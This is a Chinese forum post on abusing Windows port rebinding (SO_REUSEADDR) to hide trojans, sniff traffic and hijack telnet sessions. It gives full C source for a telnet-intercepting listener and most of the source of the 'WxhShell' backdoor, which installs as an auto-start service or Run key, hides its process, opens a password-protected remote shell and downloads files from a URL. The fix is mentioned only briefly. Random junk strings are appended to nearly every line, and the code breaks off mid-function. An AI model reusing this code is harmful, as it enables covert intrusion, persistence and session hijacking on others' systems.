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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,$sq]_t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?'$=G4y&?  
OgS6#X  
  saddr.sin_family = AF_INET; *6q8kQsz^1  
+:~&"U^ z&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {`KgyC W:  
T2} I,{U  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hX 9.%-@sR  
}` Q'!_`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9.lSF  
<{YP=WYW  
  这意味着什么?意味着可以进行如下的攻击: )~O{jd  
djPr 4Nog  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :4<+)r26  
V_~}7~ I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4G@vO {$  
<=cj)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "(/|[7D)  
,^,Vq]$3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -t?S:9 [w  
&EmxSYL>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 . %tc7`k8  
/!JpmI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5cxA,T  
NV*aHci  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +sE81B  
>?b/_O  
  #include Rh9>iA@fd  
  #include *A GC[w}/  
  #include Fmt5"3B  
  #include    }&rf'E9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   23pHB |X  
  int main() |vTirZP  
  { [ G[HQ)A  
  WORD wVersionRequested; v=i[s  
  DWORD ret; +tdt>)a  
  WSADATA wsaData; ')bx1gc(?  
  BOOL val; t{!}^{ "5  
  SOCKADDR_IN saddr; 27t:-O  
  SOCKADDR_IN scaddr; ;r- \h1iA'  
  int err; N ^h,[  
  SOCKET s; '8i np[_  
  SOCKET sc; O<iE,PN)  
  int caddsize; # u^FB  
  HANDLE mt; AvEJX0"\df  
  DWORD tid;   z6|P]u  
  wVersionRequested = MAKEWORD( 2, 2 ); Si6%6rAhj  
  err = WSAStartup( wVersionRequested, &wsaData ); WsJ3zZc  
  if ( err != 0 ) { YqR MVWcnk  
  printf("error!WSAStartup failed!\n"); &{x5 |$SD  
  return -1; Z?XE~6aP>  
  } \P}~ICZA  
  saddr.sin_family = AF_INET; "]*0)h_  
   bX|Z||img  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HP. j.  
@5acTY Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D D"]as"#  
  saddr.sin_port = htons(23); Tp)-L0kD_k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hP`3Ao  
  { Z)62/`C)  
  printf("error!socket failed!\n"); -g;iMqh#  
  return -1; U,[vfSDGr  
  } :~ zK0v"  
  val = TRUE; ,U],Wu)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 , YTuZS  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u{ JAC!  
  { ;8|uY%ab  
  printf("error!setsockopt failed!\n"); *;Hvx32I  
  return -1; Ga.a"\F.V  
  } Ls5|4%+&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4 FGcCE3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8g(%6 ET  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 oSx]wZZ  
fk#SD "iJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |M)'@s:  
  { :f 1*-y  
  ret=GetLastError(); ::9U5E;!  
  printf("error!bind failed!\n"); ]hS4'9lD  
  return -1; ,K+K`"Oy  
  } rzLpVpTaz  
  listen(s,2); c:>&Bg&,6T  
  while(1) Ad9'q!_en  
  { ,kpk XK  
  caddsize = sizeof(scaddr); flR6^6E  
  //接受连接请求 \gDf&I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); flVQG@  
  if(sc!=INVALID_SOCKET) XcR2]\  
  { !-U5d9!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xl5mI~n_~  
  if(mt==NULL) ;} Ty b  
  { h-<('w:A  
  printf("Thread Creat Failed!\n"); vCFMO3  
  break; +Z/ *=;  
  } wta\C{{  
  } fp.,MIS  
  CloseHandle(mt); r[q-O&2&  
  } |k^'}n  
  closesocket(s); =Qsh3b&<P  
  WSACleanup(); g"`BNI]Qp  
  return 0; (5cc{zKtR  
  }   Rd&2mL  
  DWORD WINAPI ClientThread(LPVOID lpParam) vYKKv%LE  
  { u+&BR1)C  
  SOCKET ss = (SOCKET)lpParam; i 'H{cN6  
  SOCKET sc; =!GUQLS{  
  unsigned char buf[4096]; )U`6` &F  
  SOCKADDR_IN saddr; E<:XHjm  
  long num; W.r0W2))(  
  DWORD val; Rf^$?D&^  
  DWORD ret; *l)_&p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 d/v{I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I+ rHb< P%  
  saddr.sin_family = AF_INET; ;ug& v C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); IX$dDwY|O>  
  saddr.sin_port = htons(23); T&oY:1D,g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aqQ YU5l4~  
  { F@1~aeX-  
  printf("error!socket failed!\n"); 3=RVJb  
  return -1; s )POtJ<  
  } IlVz 5#R  
  val = 100; zflq|dW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $]2srRA^A  
  { yS^";$2Tc  
  ret = GetLastError(); b|^g51v  
  return -1; B8F.}M-!  
  } (dd+wx't  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,)TtI~6Q  
  { lr'h  
  ret = GetLastError(); i,r O3J n  
  return -1; .vE=527g)  
  } 0"ksNnxK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {Fs}8\z  
  { VgD z:j  
  printf("error!socket connect failed!\n"); /{>$E>N;  
  closesocket(sc); 29("gB  
  closesocket(ss); VG0Ty;bV  
  return -1; Uy2NZ%rnt  
  } 3=5K7 F  
  while(1) ajC'C!"^Ty  
  { 9>yLSM,!rS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N[~{'i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?oana%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7?!A~Seo|  
  num = recv(ss,buf,4096,0); _0N=~`'  
  if(num>0) Q97F5ru6  
  send(sc,buf,num,0); ;\ ^'}S|3Z  
  else if(num==0) Rah"La  
  break; TUHm.!+a  
  num = recv(sc,buf,4096,0); *`2.WF@E)  
  if(num>0) BmR++?L  
  send(ss,buf,num,0); &|yQwNA*a"  
  else if(num==0) 3 <}\{jT  
  break; O<7Q>m  
  } QZ?#ixvJ  
  closesocket(ss); wNo2$>*  
  closesocket(sc); l r80RL'_  
  return 0 ; c%y(Z5  
  } x\PZ.o  
JjA3G`m=  
mApn[)?tv  
========================================================== Y-!~x0-H  
7k,pUC-w7c  
下边附上一个代码,,WXhSHELL I|zak](HU  
t/55tL  
========================================================== e_RLKFv7  
Lzmdy0!'  
#include "stdafx.h" 4<V%7z_.B  
s%M#  
#include <stdio.h> .#^ta9^t7  
#include <string.h> Pq\ `0/4_  
#include <windows.h> bfo..f-0/Y  
#include <winsock2.h> A*+pGQ  
#include <winsvc.h> LGnb"ZN  
#include <urlmon.h> yP$@~L[!  
xgDd5`W  
#pragma comment (lib, "Ws2_32.lib") +85#`{ D  
#pragma comment (lib, "urlmon.lib") jfmHc(fX4  
44Dytpvg  
#define MAX_USER   100 // 最大客户端连接数 YcQ$nZAU  
#define BUF_SOCK   200 // sock buffer .8o?`  
#define KEY_BUFF   255 // 输入 buffer A]0A,A0  
l5h+:^#M5c  
#define REBOOT     0   // 重启 Xir ERc.e  
#define SHUTDOWN   1   // 关机 9S 'u 1%  
E_q/*}]pE  
#define DEF_PORT   5000 // 监听端口 r]q;>\T'  
d]A.=NAc  
#define REG_LEN     16   // 注册表键长度 @JW HG1qJ  
#define SVC_LEN     80   // NT服务名长度 EPEWyGw  
JJ:pA_uX  
// 从dll定义API ,LE15},  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (vX) <Z !  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Eep~3U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m^k$Z0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LTZ8Eu  
\;XDPC j  
// wxhshell配置信息 @%lkRU)  
struct WSCFG { j_I[k8z  
  int ws_port;         // 监听端口 6a*?m{  
  char ws_passstr[REG_LEN]; // 口令 Pj-.oS2dA  
  int ws_autoins;       // 安装标记, 1=yes 0=no m+UWvUB)  
  char ws_regname[REG_LEN]; // 注册表键名 ^fiJxU  
  char ws_svcname[REG_LEN]; // 服务名 `~w|Xz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GB%kxtGD;\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s5bqS'%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w"`Zf7a{/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mXYG^}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FR9w0{o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  =oE(ur  
?^whK<"]  
}; Ux,?\Vd  
QdIx@[+WOq  
// default Wxhshell configuration K`=9"v'f+  
struct WSCFG wscfg={DEF_PORT, Y/x>wNW  
    "xuhuanlingzhe", @T"-%L8PL  
    1, m?< ^b_a}  
    "Wxhshell", `uKsFX M  
    "Wxhshell", [vGkr" =  
            "WxhShell Service", Ypx5:gm|J  
    "Wrsky Windows CmdShell Service", ZZ>"LH  
    "Please Input Your Password: ", 3F?7oMNIh  
  1, YdZ9##IU3  
  "http://www.wrsky.com/wxhshell.exe", U{\9mt7b!  
  "Wxhshell.exe" ["O_ Phb|  
    }; o%b6"_~%3  
lfAiW;giJ  
// 消息定义模块 oVTXn=cYDp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xfF;u9$;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GE8.{P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T@Bu Fr`]<  
char *msg_ws_ext="\n\rExit."; sYq:2Wn>8Q  
char *msg_ws_end="\n\rQuit."; hgj ]Jr  
char *msg_ws_boot="\n\rReboot..."; qeW.~B!B  
char *msg_ws_poff="\n\rShutdown..."; _l"=#i@L  
char *msg_ws_down="\n\rSave to "; <NEz{1Z  
 0ij YE  
char *msg_ws_err="\n\rErr!"; k:&vW21E  
char *msg_ws_ok="\n\rOK!"; t~H0Qeb[v=  
SiYH@Wma  
char ExeFile[MAX_PATH]; O14\_eAu6  
int nUser = 0; cL<,]%SkE  
HANDLE handles[MAX_USER]; MQQQaD:v  
int OsIsNt; )7{r8a  
]h#QA;   
SERVICE_STATUS       serviceStatus; Kx?.g#>U;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BoQ%QV69%  
fP[S.7F+No  
// 函数声明 VP~(;H5%  
int Install(void); 6g\hQ\+Z}  
int Uninstall(void); \#PZZH%  
int DownloadFile(char *sURL, SOCKET wsh); OkAgO3>Y/  
int Boot(int flag); jJaMkF;f  
void HideProc(void); L|Xg4Z  
int GetOsVer(void); h56Kmxxk  
int Wxhshell(SOCKET wsl); 5A$,'%d  
void TalkWithClient(void *cs); k dWUz(  
int CmdShell(SOCKET sock); !MrQ-B(  
int StartFromService(void); w=CzPNRHH!  
int StartWxhshell(LPSTR lpCmdLine); wpx,~`&  
JXUO?9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g>OGh o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k(%RX _]C  
q_cqjly<  
// 数据结构和表定义 ;u}MG3Y8  
SERVICE_TABLE_ENTRY DispatchTable[] = N|1J@"H  
{ L?Wl#wP\;*  
{wscfg.ws_svcname, NTServiceMain}, )bPNL$O  
{NULL, NULL} 5jx{O${u  
}; gJ vc<]W8!  
Axj<e!{D  
// 自我安装 C[gSiL  
int Install(void) 5>h2WL  
{ ' ["Y;/>  
  char svExeFile[MAX_PATH]; /R9>\}.y J  
  HKEY key; Pbm ;@ V  
  strcpy(svExeFile,ExeFile); YwB 5Zqr  
.}Bb :*@  
// 如果是win9x系统,修改注册表设为自启动 K8284A8v  
if(!OsIsNt) { O}IS{/^7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~aA+L-s|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Haq23K  
  RegCloseKey(key); f 4!^0%l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *zz/U (9D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2z )h,<D  
  RegCloseKey(key); w:z_EV!&  
  return 0; d=lZhqY  
    } ->8n.!F}  
  } {a% T <WW  
} ;qG a|`#j  
else { {Z-5  
!X[lNt O  
// 如果是NT以上系统,安装为系统服务 9&rn3hmP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |mMW"(~  
if (schSCManager!=0) ~a/yLI"'g  
{ ,aawtdt/  
  SC_HANDLE schService = CreateService 1<bSHn9  
  ( _ogT(uYyr  
  schSCManager, $5il]D`  
  wscfg.ws_svcname, ~POe0!}  
  wscfg.ws_svcdisp, >OiC].1   
  SERVICE_ALL_ACCESS, Eq'{uV:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '|WMt g  
  SERVICE_AUTO_START, {/R4Q1  
  SERVICE_ERROR_NORMAL, )I!l:!Ij*D  
  svExeFile, <`6-J `.  
  NULL, 3@6f%Dyj  
  NULL, g*Cs /w  
  NULL, Jc{zi^)(EN  
  NULL, __3Cjo^6&  
  NULL cC4*4bMm  
  ); sjShm  
  if (schService!=0) 9dKrE_zK:  
  { zZ;tSKL  
  CloseServiceHandle(schService); {wA@5+[  
  CloseServiceHandle(schSCManager); Fp@eb8Pl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ce+\D'q[  
  strcat(svExeFile,wscfg.ws_svcname); -R6z/P (}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z(Q?epyT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0B3*\ H}5  
  RegCloseKey(key); I:mJWe  
  return 0; W e9C9)0  
    } 3ck;~Ncj<  
  } 9O}YtX2  
  CloseServiceHandle(schSCManager); F Fg0}  
} 7 F+w o  
} H6'xXS  
N'2u`br4KP  
return 1; 8a-[Q  
} W P.6ea7k  
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// 自我卸载 }>)"!p;t_  
int Uninstall(void) ;O{AYF?,N  
{ q;B-np?U  
  HKEY key; |? r,W ~9`  
UN,@K9  
if(!OsIsNt) { 2psLX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V=E9*$b]  
  RegDeleteValue(key,wscfg.ws_regname); }.` ycLW'  
  RegCloseKey(key); J0|/g2%0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S' TF7u  
  RegDeleteValue(key,wscfg.ws_regname); ]9A9q<lZ  
  RegCloseKey(key); 8 wC3}U  
  return 0; ;Iv)J|*  
  } K mL PWj  
} &x;v&  
} <=jE,6_|  
else { *W# x#0j  
k[G?22t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w_\niqm<y  
if (schSCManager!=0) ULQ*cW&;?  
{ ,|T   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fdp/c wd  
  if (schService!=0) 2/>AmVM  
  { VCvuZU{<  
  if(DeleteService(schService)!=0) { jOEb1  
  CloseServiceHandle(schService); O`|'2x{[O  
  CloseServiceHandle(schSCManager); y4M<L. RO  
  return 0; )v ['p  
  } -Z6ot{%  
  CloseServiceHandle(schService); HjV83S;  
  } qZA?M=NT?  
  CloseServiceHandle(schSCManager); 8 +uOYNXsA  
} GH^i,88  
} WR~uy|mX  
Eiz\Nb  
return 1; rD<@$KpP  
} yuKfhg7  
9e8@0?0  
// 从指定url下载文件 xNq&_oY7  
int DownloadFile(char *sURL, SOCKET wsh) <7)Vj*VxC  
{  h}+,]^  
  HRESULT hr; $WTu7lVV[1  
char seps[]= "/"; uX`Jc:1q3  
char *token; Y@#~8\_  
char *file; !;fkc0&!  
char myURL[MAX_PATH]; \]y$[\F>  
char myFILE[MAX_PATH]; m}F1sRkdQ  
$@Hw DRP  
strcpy(myURL,sURL); ,'82;oP4  
  token=strtok(myURL,seps); ^HC! my  
  while(token!=NULL) .;*0odxv  
  { yUNl)E  
    file=token; 1N:eM/a  
  token=strtok(NULL,seps); O^sgUT1O  
  } N}.h_~6  
WY<ip<  
GetCurrentDirectory(MAX_PATH,myFILE); zPhNV8k-  
strcat(myFILE, "\\"); LH<--#K  
strcat(myFILE, file); 5l{_E:.1  
  send(wsh,myFILE,strlen(myFILE),0); ^@L  
send(wsh,"...",3,0); qYbod+UX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .Jou09+  
  if(hr==S_OK) CIYD'zR[2  
return 0; -FE5sW  
else &/a/V  
return 1; !~>u\h  
k]I<%  
} S{ fNeK  
9)H~I/9Y  
// 系统电源模块 + Uj~zx@  
int Boot(int flag) .@1\26<  
{ 8FbBv"LI,g  
  HANDLE hToken; ^ "*r'  
  TOKEN_PRIVILEGES tkp; ~#) DJ  
N2q'$o  
  if(OsIsNt) { dL[mX .j"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5UjXpS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |A5]hL   
    tkp.PrivilegeCount = 1; mufF_e)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _gw~A {O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #[Ns\%Ri0  
if(flag==REBOOT) { u~a<Psp&|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7\5 [lM  
  return 0; 1/ j}VC  
} mxDy!:@=  
else { Xj|j\2$ 0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !U=;e?o  
  return 0; &({X9  
} kj+AsQC ,  
  } ;~xkT'  
  else { /UM9g+Bb  
if(flag==REBOOT) { E-Cj^#OY|N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &hqGGfVsd  
  return 0; \s+ <w3  
} %Z.>)R4  
else { <fN?=u+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fa"eyBO50  
  return 0; tXPS@4F  
} 2Ni2Gkf@  
} )mp0k%  
|p3]9H  
return 1; *|hICTWL  
} sF(U?)48  
&ec_jxF  
// win9x进程隐藏模块 fZXd<Fg+  
void HideProc(void) ( 3=.3[  
{ p2w/jJMD  
!4-NbtT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PvKe|In(  
  if ( hKernel != NULL ) =d( 6 )  
  { Q/0;r{@Tq}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y@;bA=Du}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [o> /2  
    FreeLibrary(hKernel); )lH?XpfTjm  
  } o$Hc5W([Z  
-+?0|>Nh  
return; Vv6xVX  
} $mp7IZE|  
ib uA~\5  
// 获取操作系统版本 aJIj%Y$  
int GetOsVer(void) =XudL^GF  
{ Yo(8mtYU  
  OSVERSIONINFO winfo; q;Qpd]H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *)u_m h  
  GetVersionEx(&winfo); }RW4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'Y>!xm   
  return 1; b]CJf8'u  
  else P,tN;c  
  return 0; .{)b^gE  
} Q;5aM%a`  
zgVplp  
// 客户端句柄模块 VJuPC  
int Wxhshell(SOCKET wsl) xI_WkoI  
{ QT^( oog=  
  SOCKET wsh; bCA3w%,kM  
  struct sockaddr_in client; mQ' ]0DS  
  DWORD myID; %l3RM*zb  
7Zr jU {  
  while(nUser<MAX_USER) !A!zG)Ue<  
{ +Y 3_)  
  int nSize=sizeof(client); ed*=p l3.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Re,0RM\  
  if(wsh==INVALID_SOCKET) return 1; I%{U~  
x{Gih 1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zCPjuS/~ Q  
if(handles[nUser]==0) C:gE   
  closesocket(wsh); Wpj.G  
else Zad+)~@!tq  
  nUser++; #v~zf@<KLB  
  } F-_RL-hbN%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F)v+.5T1  
}R}tIC-:  
  return 0; lWnV{/q\X  
} & }k=V4L  
QF-.")Z  
// 关闭 socket V<ODt%  
void CloseIt(SOCKET wsh) )?Jj#HtW  
{ @0B<b7Jv  
closesocket(wsh); ?86h:9  
nUser--; MQR2UK (  
ExitThread(0); .%~ L  
} @A$%baH0  
SHz& o[u  
// 客户端请求句柄 Z(U&0GH`  
void TalkWithClient(void *cs) qxd{c8  
{ TpMfk7-  
Z<ke!H  
  SOCKET wsh=(SOCKET)cs; I0)iC[s8;  
  char pwd[SVC_LEN]; :!{aey  
  char cmd[KEY_BUFF]; =X+DC&]%!  
char chr[1]; |a^ydwb  
int i,j; 1Rl`}7Km  
!K`;fp!  
  while (nUser < MAX_USER) { vs6`oW"{#  
HjnHl-  
if(wscfg.ws_passstr) { !j7b7<wR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QHtpCNTVb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kC LeHH|K  
  //ZeroMemory(pwd,KEY_BUFF); SOP= X-6f  
      i=0; 5O)Z}  
  while(i<SVC_LEN) { G-,PsXSwe  
TD\QX2m  
  // 设置超时 mHw1n=B  
  fd_set FdRead; `{tykYwCLc  
  struct timeval TimeOut; q+ )KY  
  FD_ZERO(&FdRead); |fRajuA;  
  FD_SET(wsh,&FdRead); 4b7}Sr=`  
  TimeOut.tv_sec=8; _>3GNvS  
  TimeOut.tv_usec=0; yd>kJk^~/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _^&oNm1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X*FK6,Y|(  
a#G7pZX/I}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +{Q\B}3cj1  
  pwd=chr[0]; 'OF)`5sj  
  if(chr[0]==0xd || chr[0]==0xa) { _$Z46wHmB  
  pwd=0; B_}=v$  
  break; YK"({Z>U  
  } W>1\f0'  
  i++; |mci-ZT  
    } hoU&'P8  
Snh\Fgdz  
  // 如果是非法用户,关闭 socket Of:e6N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oZOFZ-<  
} +cj NA2@  
+.>O%pNj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KZD&Ih(vC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _Zb_9&  
w(mn@Qc  
while(1) { p&ow\A O  
^!kv gm<{$  
  ZeroMemory(cmd,KEY_BUFF); %f:'A%'Qb  
y/kCzDT,  
      // 自动支持客户端 telnet标准   Zc%S`zK`7  
  j=0; * z{D}L-&  
  while(j<KEY_BUFF) { gb@!Co3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )FU4iN)ei  
  cmd[j]=chr[0]; S!.xmc\  
  if(chr[0]==0xa || chr[0]==0xd) { bF B;N+>  
  cmd[j]=0; !$_mWz  
  break; n,V`Y'v)  
  } O`@$YXuD  
  j++; XP{ nf9&  
    } z{ymVd0#  
4tq>Lx^5U  
  // 下载文件 b_wb!_  
  if(strstr(cmd,"http://")) { tQ|b?3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IM +Dm  
  if(DownloadFile(cmd,wsh)) HkrNh>^=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); poXkH@[O  
  else {]Lc]4J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jh g!K.A  
  } G&3j/5V  
  else { =U,;/f  
!;R{-  
    switch(cmd[0]) { *DG*&Me  
  ?BWWb   
  // 帮助 lgnF\)  
  case '?': { yn %w'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <@zOdW|{:  
    break; ?m~x%[Vn  
  } QQrvT,]  
  // 安装 ^[ id8  
  case 'i': { x,p|n  
    if(Install()) px-*uh<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E6@+w.VVO  
    else "`&?<82  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 65<p:  
    break; kdoE)C   
    } O#k?c }  
  // 卸载 [n< U>up  
  case 'r': { Xf#;GYO|2  
    if(Uninstall()) >,~JQ%1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w$& 10  
    else wI`uAZ="  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ebq5P$  
    break; }4bwLO  
    } _ROe!w  1  
  // 显示 wxhshell 所在路径 (:hPT-1  
  case 'p': { q.g!WLiI  
    char svExeFile[MAX_PATH]; 9Y/c<gbY  
    strcpy(svExeFile,"\n\r"); *, {b]6v  
      strcat(svExeFile,ExeFile); {8UBxFIM(  
        send(wsh,svExeFile,strlen(svExeFile),0); SSH/q/  
    break; UO!OO&l!  
    } mBnC]$<R  
  // 重启 %K%8 ~B  
  case 'b': { \k g2pF[V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \(;5YCCE  
    if(Boot(REBOOT)) 63k8j[$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vn kktD'n  
    else { ,:,c kul  
    closesocket(wsh); @c{Z?>dUc#  
    ExitThread(0); yJKezIL\z  
    } 9VP|a-  
    break; NIYAcLa@n8  
    } *^NC5=A(d  
  // 关机 S&R~*  
  case 'd': { qed; UyN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )Wc#?K  
